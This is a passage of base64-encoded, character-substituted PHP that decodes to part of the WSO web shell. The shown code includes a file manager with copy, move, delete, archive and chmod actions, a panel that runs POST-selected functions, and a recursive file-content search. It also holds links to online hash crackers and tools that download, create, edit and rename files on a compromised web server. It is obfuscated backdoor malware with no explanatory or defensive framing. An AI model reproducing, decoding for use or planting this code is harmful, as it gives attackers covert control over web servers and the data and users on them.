nNXRncmc0ZChAZjRsNWdyMjNwKCRkNHJDMm50NW50WyQ0XSkpOyANCiAgICAgICAgJHRtcCA9IDFycjF5KCduMW01JyA9PiAkZDRyQzJudDVudFskNF0sIA0KICAgICAgICAgICAgICAgICAgICAgJ3AxdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZDRyQzJudDVudFskNF0sIA0KICAgICAgICAgICAgICAgICAgICAgJ20yZDRmeScgPT4gZDF0NSgnWS1tLWQgSDo0OnMnLCBAZjRsNW10NG01KCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpLCANCiAgICAgICAgICAgICAgICAgICAgICdwNXJtcycgPT4gd3MyUDVybXNDMmwycigkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pLCANCiAgICAgICAgICAgICAgICAgICAgICdzNHo1JyA9PiBAZjRsNXM0ejUoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSksIA0KICAgICAgICAgICAgICAgICAgICAgJzJ3bjVyJyA9PiAkMndbJ24xbTUnXT8kMndbJ24xbTUnXTpAZjRsNTJ3bjVyKCRkNHJDMm50NW50WyQ0XSksIA0KICAgICAgICAgICAgICAgICAgICAgJ2dyMjNwJyA9PiAkZ3JbJ24xbTUnXT8kZ3JbJ24xbTUnXTpAZjRsNWdyMjNwKCRkNHJDMm50NW50WyQ0XSkgDQogICAgICAgICAgICAgICAgICAgICk7IA0KICAgICAgICA0ZihANHNfZjRsNSgkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pKSANCiAgICAgICAgICAgICRmNGw1c1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdmNGw1JykpOyANCiAgICAgICAgNWxzNTRmKEA0c19sNG5rKCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpIA0KICAgICAgICAgICAgJGQ0cnNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnbDRuaycsICdsNG5rJyA9PiByNTFkbDRuaygkdG1wWydwMXRoJ10pKSk7IA0KICAgICAgICA1bHM1NGYoQDRzX2Q0cigkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pJiYgKCRkNHJDMm50NW50WyQ0XSAhPSAiLiIpKSANCiAgICAgICAgICAgICRkNHJzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2Q0cicpKTsgDQogICAgfSANCiAgICAkR0xPQkFMU1snczJydCddID0gJHMycnQ7IA0KICAgIGYzbmN0NDJuIHdzMkNtcCgkMSwgJGIpIHsgDQogICAgICAgIDRmKCRHTE9CQUxTWydzMnJ0J11bMF0gIT0gJ3M0ejUnKSANCiAgICAgICAgICAgIHI1dDNybiBzdHJjbXAoc3RydDJsMnc1cigkMVskR0xPQkFMU1snczJydCddWzBdXSksIHN0cnQybDJ3NXIoJGJbJEdMT0JBTFNbJ3MycnQnXVswXV0pKSooJEdMT0JBTFNbJ3MycnQnXVs2XT82Oi02KTsgDQogICAgICAgIDVsczUNCiAgICAgICAgICAgIHI1dDNybiAoKCQxWydzNHo1J10gPCAkYlsnczR6NSddKSA/IC02IDogNikqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7IA0KICAgIH0gDQogICAgM3MycnQoJGY0bDVzLCAid3MyQ21wIik7IA0KICAgIDNzMnJ0KCRkNHJzLCAid3MyQ21wIik7IA0KICAgICRmNGw1cyA9IDFycjF5X201cmc1KCRkNHJzLCAkZjRsNXMpOyANCiAgICAkbCA9IDA7IA0KICAgIGYycjUxY2goJGY0bDVzIDFzICRmKSB7IA0KICAgICAgICA1Y2gyICc8dHInLigkbD8nIGNsMXNzPWw2JzonJykuJz48dGQ+PDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0iZltdIiB2MWwzNT0iJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJyIgY2wxc3M9Y2hrYng+PC90ZD48dGQ+PDEgaHI1Zj0jIDJuY2w0Y2s9IicuKCgkZlsndHlwNSddPT0nZjRsNScpPydnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwndjQ1d1wnKSI+Jy5odG1sc3A1YzQxbGNoMXJzKCRmWyduMW01J10pOidnKFwnRjRsNXNNMW5cJyxcJycuJGZbJ3AxdGgnXS4nXCcpOyIgdDR0bDU9JyAuICRmWydsNG5rJ10gLiAnPjxiPlsgJyAuIGh0bWxzcDVjNDFsY2gxcnMoJGZbJ24xbTUnXSkgLiAnIF08L2I+JykuJzwvMT48L3RkPjx0ZD4nLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT93czJWNDV3UzR6NSgkZlsnczR6NSddKTokZlsndHlwNSddKS4nPC90ZD48dGQ+Jy4kZlsnbTJkNGZ5J10uJzwvdGQ+PHRkPicuJGZbJzJ3bjVyJ10uJy8nLiRmWydncjIzcCddLic8L3RkPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLFwnY2htMmRcJykiPicuJGZbJ3A1cm1zJ10gDQogICAgICAgICAgICAuJzwvdGQ+PHRkPjwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCdyNW4xbTVcJykiPlI8LzE+IDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd0MjNjaFwnKSI+VDwvMT4nLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT8nIDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCc1ZDR0XCcpIj5FPC8xPiA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwnZDJ3bmwyMWRcJykiPkQ8LzE+JzonJykuJzwvdGQ+PC90cj4nOyANCiAgICAgICAgJGwgPSAkbD8wOjY7IA0KICAgIH0gDQogICAgNWNoMiAiPHRyPjx0ZCBjMmxzcDFuPTc+IA0KICANCiAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSdGNGw1c00xbic+IA0KICAgIDw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWMgdjFsMzU9JyIgLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPiANCiAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciLiAoNHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnKS4iJz4gDQogICAgPHM1bDVjdCBuMW01PSdwNic+PDJwdDQybiB2MWwzNT0nYzJweSc+QzJweTwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9J20ydjUnPk0ydjU8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdkNWw1dDUnPkQ1bDV0NTwvMnB0NDJuPiI7IA0KICAgIDRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKSANCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0nejRwJz5DMm1wcjVzcyAoejRwKTwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9JzNuejRwJz5VbmMybXByNXNzICh6NHApPC8ycHQ0Mm4+IjsgDQogICAgNWNoMiAiPDJwdDQybiB2MWwzNT0ndDFyJz5DMm1wcjVzcyAodDFyLmd6KTwvMnB0NDJuPiI7IA0KICAgIDRmKCE1bXB0eSgkX1NFU1NJT05bJzFjdCddKSAmJiBAYzIzbnQoJF9TRVNTSU9OWydmJ10pKSANCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0ncDFzdDUnPlAxc3Q1IC8gQzJtcHI1c3M8LzJwdDQybj4iOyANCiAgICA1Y2gyICI8L3M1bDVjdD4mbmJzcDsiOyANCiAgICA0ZighNW1wdHkoJF9TRVNTSU9OWycxY3QnXSkgJiYgQGMyM250KCRfU0VTU0lPTlsnZiddKSAmJiAoKCRfU0VTU0lPTlsnMWN0J10gPT0gJ3o0cCcpIHx8ICgkX1NFU1NJT05bJzFjdCddID09ICd0MXInKSkpIA0KICAgICAgICA1Y2gyICJmNGw1IG4xbTU6IDw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wYSB2MWwzNT0nd3MyXyIgLiBkMXQ1KCJZbWRfSDRzIikgLiAiLiIgLiAoJF9TRVNTSU9OWycxY3QnXSA9PSAnejRwJz8nejRwJzondDFyLmd6JykgLiAiJz4mbmJzcDsiOyANCiAgICA1Y2gyICI8NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nPjwvdGQ+PC90cj48L2Yycm0+PC90MWJsNT48L2Q0dj4iOyANCiAgICB3czJGMjJ0NXIoKTsgDQp9IA0KICANCmYzbmN0NDJuIDFjdDQyblN0cjRuZ1QyMmxzKCkgeyANCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdoNXhhYjRuJykpIHtmM25jdDQybiBoNXhhYjRuKCRwKSB7cjV0M3JuIGQ1Y2I0bihoNXhkNWMoJHApKTt9fSANCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdiNG5oNXgnKSkge2YzbmN0NDJuIGI0bmg1eCgkcCkge3I1dDNybiBkNWNoNXgoYjRuZDVjKCRwKSk7fX0gDQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnaDV4YTFzYzQ0JykpIHtmM25jdDQybiBoNXhhMXNjNDQoJHApeyRyPScnO2YycigkND0wOyQ0PHN0ckw1bigkcCk7JDQrPWEpeyRyLj1jaHIoaDV4ZDVjKCRwWyQ0XS4kcFskNCs2XSkpO31yNXQzcm4gJHI7fX0gDQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnMXNjNDRhaDV4JykpIHtmM25jdDQybiAxc2M0NGFoNXgoJHApeyRyPScnO2YycigkND0wOyQ0PHN0cmw1bigkcCk7KyskNCkkci49IHNwcjRudGYoJyUwYVgnLDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0gDQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnZjNsbF8zcmw1bmMyZDUnKSkge2YzbmN0NDJuIGYzbGxfM3JsNW5jMmQ1KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJsNW4oJHApOysrJDQpJHIuPSAnJScuZDVjaDV4KDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0gDQogICAgJHN0cjRuZ1QyMmxzID0gMXJyMXkoIA0KICAgICAgICAnQjFzNWV1IDVuYzJkNScgPT4gJ2IxczVldV81bmMyZDUnLCANCiAgICAgICAgJ0IxczVldSBkNWMyZDUnID0+ICdiMXM1ZXVfZDVjMmQ1JywgDQogICAgICAgICdVcmwgNW5jMmQ1JyA9PiAnM3JsNW5jMmQ1JywgDQogICAgICAgICdVcmwgZDVjMmQ1JyA9PiAnM3JsZDVjMmQ1JywgDQogICAgICAgICdGM2xsIDNybDVuYzJkNScgPT4gJ2YzbGxfM3JsNW5jMmQ1JywgDQogICAgICAgICdtZGkgaDFzaCcgPT4gJ21kaScsIA0KICAgICAgICAnc2gxNiBoMXNoJyA9PiAnc2gxNicsIA0KICAgICAgICAnY3J5cHQnID0+ICdjcnlwdCcsIA0KICAgICAgICAnQ1JDb2EnID0+ICdjcmNvYScsIA0KICAgICAgICAnQVNDSUkgdDIgSEVYJyA9PiAnMXNjNDRhaDV4JywgDQogICAgICAgICdIRVggdDIgQVNDSUknID0+ICdoNXhhMXNjNDQnLCANCiAgICAgICAgJ0hFWCB0MiBERUMnID0+ICdoNXhkNWMnLCANCiAgICAgICAgJ0hFWCB0MiBCSU4nID0+ICdoNXhhYjRuJywgDQogICAgICAgICdERUMgdDIgSEVYJyA9PiAnZDVjaDV4JywgDQogICAgICAgICdERUMgdDIgQklOJyA9PiAnZDVjYjRuJywgDQogICAgICAgICdCSU4gdDIgSEVYJyA9PiAnYjRuaDV4JywgDQogICAgICAgICdCSU4gdDIgREVDJyA9PiAnYjRuZDVjJywgDQogICAgICAgICdTdHI0bmcgdDIgbDJ3NXIgYzFzNScgPT4gJ3N0cnQybDJ3NXInLCANCiAgICAgICAgJ1N0cjRuZyB0MiAzcHA1ciBjMXM1JyA9PiAnc3RydDIzcHA1cicsIA0KICAgICAgICAnSHRtbHNwNWM0MWxjaDFycycgPT4gJ2h0bWxzcDVjNDFsY2gxcnMnLCANCiAgICAgICAgJ1N0cjRuZyBsNW5ndGgnID0+ICdzdHJsNW4nLCANCiAgICApOyANCiAgICA0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsgDQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gdHIzNTsgDQogICAgICAgIDJiX3N0MXJ0KCk7IA0KICAgICAgICA0Zig0bl8xcnIxeSgkX1BPU1RbJ3A2J10sICRzdHI0bmdUMjJscykpIA0KICAgICAgICAgICAgNWNoMiAkX1BPU1RbJ3A2J10oJF9QT1NUWydwYSddKTsgDQogICAgICAgICR0NW1wID0gImQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdzdHJPM3RwM3QnKS5zdHlsNS5kNHNwbDF5PScnO2QyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdzdHJPM3RwM3QnKS40bm41ckhUTUw9JyIuMWRkY3NsMXNoNXMoaHRtbHNwNWM0MWxjaDFycygyYl9nNXRfY2w1MW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOyANCiAgICAgICAgNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsgDQogICAgICAgIDV4NHQ7IA0KICAgIH0gDQogICAgd3MySDUxZDVyKCk7IA0KICAgIDVjaDIgJzxoNj5TdHI0bmcgYzJudjVyczQybnM8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4nOyANCiAgICA0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkmJiE1bXB0eSgkX1BPU1RbJ3A2J10pKSANCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSBmMWxzNTsgDQogICAgNWNoMiAiPGYycm0gbjFtNT0ndDIybHNGMnJtJyAyblMzYm00dD0nNGYodGg0cy4xajF4LmNoNWNrNWQpezEobjNsbCxuM2xsLHRoNHMuczVsNWN0VDIybC52MWwzNSx0aDRzLjRucDN0LnYxbDM1KTt9NWxzNXtnKG4zbGwsbjNsbCx0aDRzLnM1bDVjdFQyMmwudjFsMzUsdGg0cy40bnAzdC52MWwzNSk7fSByNXQzcm4gZjFsczU7Jz48czVsNWN0IG4xbTU9J3M1bDVjdFQyMmwnPiI7IA0KICAgIGYycjUxY2goJHN0cjRuZ1QyMmxzIDFzICRrID0+ICR2KSANCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0nIi5odG1sc3A1YzQxbGNoMXJzKCR2KS4iJz4iLiRrLiI8LzJwdDQybj4iOyANCiAgICAgICAgNWNoMiAiPC9zNWw1Y3Q+PDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jy8+IDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICIuKEAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXT8nY2g1Y2s1ZCc6JycpLiI+IHM1bmQgM3M0bmcgQUpBWDxicj48dDV4dDFyNTEgbjFtNT0nNG5wM3QnIHN0eWw1PSdtMXJnNG4tdDJwOmlweCcgY2wxc3M9YjRnMXI1MT4iLig1bXB0eSgkX1BPU1RbJ3A2J10pPycnOmh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsncGEnXSkpLiI8L3Q1eHQxcjUxPjwvZjJybT48cHI1IGNsMXNzPSdtbDYnIHN0eWw1PSciLig1bXB0eSgkX1BPU1RbJ3A2J10pPydkNHNwbDF5Om4ybjU7JzonJykuIm0xcmc0bi10MnA6aXB4JyA0ZD0nc3RyTzN0cDN0Jz4iOyANCiAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgeyANCiAgICAgICAgNGYoNG5fMXJyMXkoJF9QT1NUWydwNiddLCAkc3RyNG5nVDIybHMpKTVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10oJF9QT1NUWydwYSddKSk7IA0KICAgIH0gDQogICAgNWNoMiI8L3ByNT48L2Q0dj48YnI+PGg2PlM1MXJjaCB0NXh0IDRuIGY0bDVzOjwvaDY+PGQ0diBjbDFzcz1jMm50NW50PiANCiAgDQogICAgICAgIDxmMnJtIDJuczNibTR0PVwiZyhuM2xsLHRoNHMuY3dkLnYxbDM1LG4zbGwsdGg0cy50NXh0LnYxbDM1LHRoNHMuZjRsNW4xbTUudjFsMzUpO3I1dDNybiBmMWxzNTtcIj48dDFibDUgYzVsbHAxZGQ0bmc9JzYnIGM1bGxzcDFjNG5nPScwJyB3NGR0aD0naTAlJz4gDQogICAgICAgICAgICA8dHI+PHRkIHc0ZHRoPSc2JSc+VDV4dDo8L3RkPjx0ZD48NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ndDV4dCcgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4gDQogICAgICAgICAgICA8dHI+PHRkPlAxdGg6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2N3ZCcgdjFsMzU9JyIuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIicgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4gDQogICAgICAgICAgICA8dHI+PHRkPk4xbTU6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2Y0bDVuMW01JyB2MWwzNT0nKicgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4gDQogICAgICAgICAgICA8dHI+PHRkPjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSdzM2JtNHQnIHYxbDM1PSc+Pic+PC90ZD48L3RyPiANCiAgICAgICAgICAgIDwvdDFibDU+PC9mMnJtPiI7IA0KICANCiAgICBmM25jdDQybiB3czJSNWMzcnM0djVHbDJiKCRwMXRoKSB7IA0KICAgICAgICA0ZihzM2JzdHIoJHAxdGgsIC02KSAhPSAnLycpIA0KICAgICAgICAgICAgJHAxdGguPScvJzsgDQogICAgICAgICRwMXRocyA9IEAxcnIxeV8zbjRxMzUoQDFycjF5X201cmc1KEBnbDJiKCRwMXRoLiRfUE9TVFsncG8nXSksIEBnbDJiKCRwMXRoLicqJywgR0xPQl9PTkxZRElSKSkpOyANCiAgICAgICAgNGYoNHNfMXJyMXkoJHAxdGhzKSYmQGMyM250KCRwMXRocykpIHsgDQogICAgICAgICAgICBmMnI1MWNoKCRwMXRocyAxcyAkNHQ1bSkgeyANCiAgICAgICAgICAgICAgICA0ZihANHNfZDRyKCQ0dDVtKSl7IA0KICAgICAgICAgICAgICAgICAgICA0ZigkcDF0aCE9JDR0NW0pIA0KICAgICAgICAgICAgICAgICAgICAgICAgd3MyUjVjM3JzNHY1R2wyYigkNHQ1bSk7IA0KICAgICAgICAgICAgICAgIH0gNWxzNSB7IA0KICAgICAgICAgICAgICAgICAgICA0ZihAc3RycDJzKEBmNGw1X2c1dF9jMm50NW50cygkNHQ1bSksIEAkX1BPU1RbJ3BhJ10pIT09ZjFsczUpIA0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAiPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIixuM2xsLFwiIi4zcmw1bmMyZDUoJDR0NW0pLiJcIiwgXCJ2NDV3XCIpJz4iLmh0bWxzcDVjNDFsY2gxcnMoJDR0NW0pLiI8LzE+PGJyPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgNGYoQCRfUE9TVFsncG8nXSkgDQogICAgICAgIHdzMlI1YzNyczR2NUdsMmIoJF9QT1NUWydjJ10pOyANCiAgICA1Y2gyICI8L2Q0dj48YnI+PGg2PlM1MXJjaCBmMnIgaDFzaDo8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4gDQogIA0KICAgICAgICA8ZjJybSBtNXRoMmQ9J3Ayc3QnIHQxcmc1dD0nX2JsMW5rJyBuMW01PSdoZic+IA0KICAgICAgICAgICAgPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2gxc2gnIHN0eWw1PSd3NGR0aDphMDBweDsnPjxicj4gDQogICAgICAgICAgICA8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0naDFzaGNyMWNrLmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL3d3dy5oMXNoY3IxY2suYzJtLzRuZDV4LnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+IA0KICAgICAgICAgICAgPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J200bHcwcm0uYzJtJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwOi8vd3d3Lm00bHcwcm0uYzJtL2NyMWNrNXIvczUxcmNoLnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+IA0KICAgICAgICAgICAgPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J2gxc2hjcjFjazRuZy40bmYyJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwczovL2gxc2hjcjFjazRuZy40bmYyLzRuZDV4LnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+IA0KICAgICAgICAgICAgPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J21kaS5yNWRuMjR6NS5jMm0nIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly9tZGkucjVkbjI0ejUuYzJtLz9xPScrZDJjM201bnQuaGYuaDFzaC52MWwzNSsnJnM9bWRpJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4gDQogICAgICAgICAgICA8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0nbWRpZDVjcnlwdDVyLmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL3d3dy5tZGlkNWNyeXB0NXIuYzJtLyc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+IA0KICAgICAgICA8L2Yycm0+PC9kNHY+IjsgDQogICAgd3MyRjIydDVyKCk7IA0KfSANCiAgDQpmM25jdDQybiAxY3Q0Mm5GNGw1c1QyMmxzKCkgeyANCiAgICA0ZiggNHNzNXQoJF9QT1NUWydwNiddKSApIA0KICAgICAgICAkX1BPU1RbJ3A2J10gPSAzcmxkNWMyZDUoJF9QT1NUWydwNiddKTsgDQogICAgNGYoQCRfUE9TVFsncGEnXT09J2Qyd25sMjFkJykgeyANCiAgICAgICAgNGYoQDRzX2Y0bDUoJF9QT1NUWydwNiddKSAmJiBANHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSkgeyANCiAgICAgICAgICAgIDJiX3N0MXJ0KCIyYl9nemgxbmRsNXIiLCB1MDllKTsgDQogICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PSIuYjFzNW4xbTUoJF9QT1NUWydwNiddKSk7IA0KICAgICAgICAgICAgNGYgKGYzbmN0NDJuXzV4NHN0cygibTRtNV9jMm50NW50X3R5cDUiKSkgeyANCiAgICAgICAgICAgICAgICAkdHlwNSA9IEBtNG01X2MybnQ1bnRfdHlwNSgkX1BPU1RbJ3A2J10pOyANCiAgICAgICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogIiAuICR0eXA1KTsgDQogICAgICAgICAgICB9IDVsczUNCiAgICAgICAgICAgICAgICBoNTFkNXIoIkMybnQ1bnQtVHlwNTogMXBwbDRjMXQ0Mm4vMmN0NXQtc3RyNTFtIik7IA0KICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgInIiKTsgDQogICAgICAgICAgICA0ZigkZnApIHsgDQogICAgICAgICAgICAgICAgd2g0bDUoIUBmNTJmKCRmcCkpIA0KICAgICAgICAgICAgICAgICAgICA1Y2gyIEBmcjUxZCgkZnAsIDYwYXUpOyANCiAgICAgICAgICAgICAgICBmY2wyczUoJGZwKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9NXg0dDsgDQogICAgfSANCiAgICA0ZiggQCRfUE9TVFsncGEnXSA9PSAnbWtmNGw1JyApIHsgDQogICAgICAgIDRmKCFmNGw1XzV4NHN0cygkX1BPU1RbJ3A2J10pKSB7IA0KICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3cnKTsgDQogICAgICAgICAgICA0ZigkZnApIHsgDQogICAgICAgICAgICAgICAgJF9QT1NUWydwYSddID0gIjVkNHQiOyANCiAgICAgICAgICAgICAgICBmY2wyczUoJGZwKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgd3MySDUxZDVyKCk7IA0KICAgIDVjaDIgJzxoNj5GNGw1IHQyMmxzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsgDQogICAgNGYoICFmNGw1XzV4NHN0cyhAJF9QT1NUWydwNiddKSApIHsgDQogICAgICAgIDVjaDIgJ0Y0bDUgbjJ0IDV4NHN0cyc7IA0KICAgICAgICB3czJGMjJ0NXIoKTsgDQogICAgICAgIHI1dDNybjsgDQogICAgfSANCiAgICAkMzRkID0gQHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJF9QT1NUWydwNiddKSk7IA0KICAgIDRmKCEkMzRkKSB7IA0KICAgICAgICAkMzRkWyduMW01J10gPSBAZjRsNTJ3bjVyKCRfUE9TVFsncDYnXSk7IA0KICAgICAgICAkZzRkWyduMW01J10gPSBAZjRsNWdyMjNwKCRfUE9TVFsncDYnXSk7IA0KICAgIH0gNWxzNSAkZzRkID0gQHAyczR4X2c1dGdyZzRkKEBmNGw1Z3IyM3AoJF9QT1NUWydwNiddKSk7IA0KICAgIDVjaDIgJzxzcDFuPk4xbTU6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoQGIxczVuMW01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+UzR6NTo8L3NwMW4+ICcuKDRzX2Y0bDUoJF9QT1NUWydwNiddKT93czJWNDV3UzR6NShmNGw1czR6NSgkX1BPU1RbJ3A2J10pKTonLScpLicgPHNwMW4+UDVybTRzczQybjo8L3NwMW4+ICcud3MyUDVybXNDMmwycigkX1BPU1RbJ3A2J10pLicgPHNwMW4+T3duNXIvR3IyM3A6PC9zcDFuPiAnLiQzNGRbJ24xbTUnXS4nLycuJGc0ZFsnbjFtNSddLic8YnI+JzsgDQogICAgNWNoMiAnPHNwMW4+Q3I1MXQ1IHQ0bTU6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1Y3Q0bTUoJF9QT1NUWydwNiddKSkuJyA8c3Axbj5BY2M1c3MgdDRtNTo8L3NwMW4+ICcuZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDUxdDRtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPk0yZDRmeSB0NG01Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNW10NG01KCRfUE9TVFsncDYnXSkpLic8YnI+PGJyPic7IA0KICAgIDRmKCA1bXB0eSgkX1BPU1RbJ3BhJ10pICkgDQogICAgICAgICRfUE9TVFsncGEnXSA9ICd2NDV3JzsgDQogICAgNGYoIDRzX2Y0bDUoJF9QT1NUWydwNiddKSApIA0KICAgICAgICAkbSA9IDFycjF5KCdWNDV3JywgJ0g0Z2hsNGdodCcsICdEMndubDIxZCcsICdINXhkM21wJywgJ0VkNHQnLCAnQ2htMmQnLCAnUjVuMW01JywgJ1QyM2NoJyk7IA0KICAgIDVsczUNCiAgICAgICAgJG0gPSAxcnIxeSgnQ2htMmQnLCAnUjVuMW01JywgJ1QyM2NoJyk7IA0KICAgIGYycjUxY2goJG0gMXMgJHYpIA0KICAgICAgICA1Y2gyICc8MSBocjVmPSMgMm5jbDRjaz0iZyhuM2xsLG4zbGwsbjNsbCxcJycuc3RydDJsMnc1cigkdikuJ1wnKSI+Jy4oKHN0cnQybDJ3NXIoJHYpPT1AJF9QT1NUWydwYSddKT8nPGI+WyAnLiR2LicgXTwvYj4nOiR2KS4nPC8xPiAnOyANCiAgICA1Y2gyICc8YnI+PGJyPic7IA0KICAgIHN3NHRjaCgkX1BPU1RbJ3BhJ10pIHsgDQogICAgICAgIGMxczUgJ3Y0NXcnOiANCiAgICAgICAgICAgIDVjaDIgJzxwcjUgY2wxc3M9bWw